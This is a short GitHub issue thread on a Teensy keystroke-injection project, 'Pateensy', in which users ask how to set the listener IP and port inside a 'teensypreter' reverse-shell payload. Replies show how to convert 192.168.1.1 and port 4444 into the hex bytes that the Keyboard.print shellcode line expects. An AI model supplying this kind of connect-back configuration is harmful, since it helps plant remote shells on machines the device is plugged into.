Pateensy icon indicating copy to clipboard operation
Pateensy copied to clipboard

teensypreter payload help

Open ghost opened this issue 8 years ago • 3 comments

Please help on including IP address and port number, I could not fully understand the comments and tried different values on the payload but it gives off different port number when deploying and no connect back to the listener. Can you please elaborate and give example.

Keyboard.print("[0x@@,0x@@,0x@@,0x@@],0x68,0x02,0x00,[0x@@,0x@@],0");

ghost avatar Dec 17 '16 15:12 ghost

The [0x@@,0x@@,0x@@,0x@@] should be replaced by your IP in hex so, Keyboard.print("[0x@@,0x@@,0x@@,0x@@],0x68,0x02,0x00,[0x@@,0x@@],0"); would become Keyboard.print("0xC0,0xA8,0x01,0x01,0x68,0x02,0x00,[0x@@,0x@@],0");, if you had an IP address of 192.168.1.1. I would use a converter like http://www.rapidtables.com/convert/number/decimal-to-hex.htm or http://ncalculators.com/digital-computation/ip-address-hex-decimal-binary.htm. In both cases you would need to change your data to one byte to fit into the format. The commenting contains an explanation an example for the port, so I won't go into it. Remember to remove the brackets.

B3H1NDu avatar Dec 17 '16 21:12 B3H1NDu

So the hex of port 4444 would be [0x11,0x5C] correct?

mrvirginis avatar Nov 24 '17 22:11 mrvirginis

It's been a while since I've played with this stuff, but yes that should be correct.

B3H1NDu avatar Nov 24 '17 22:11 B3H1NDu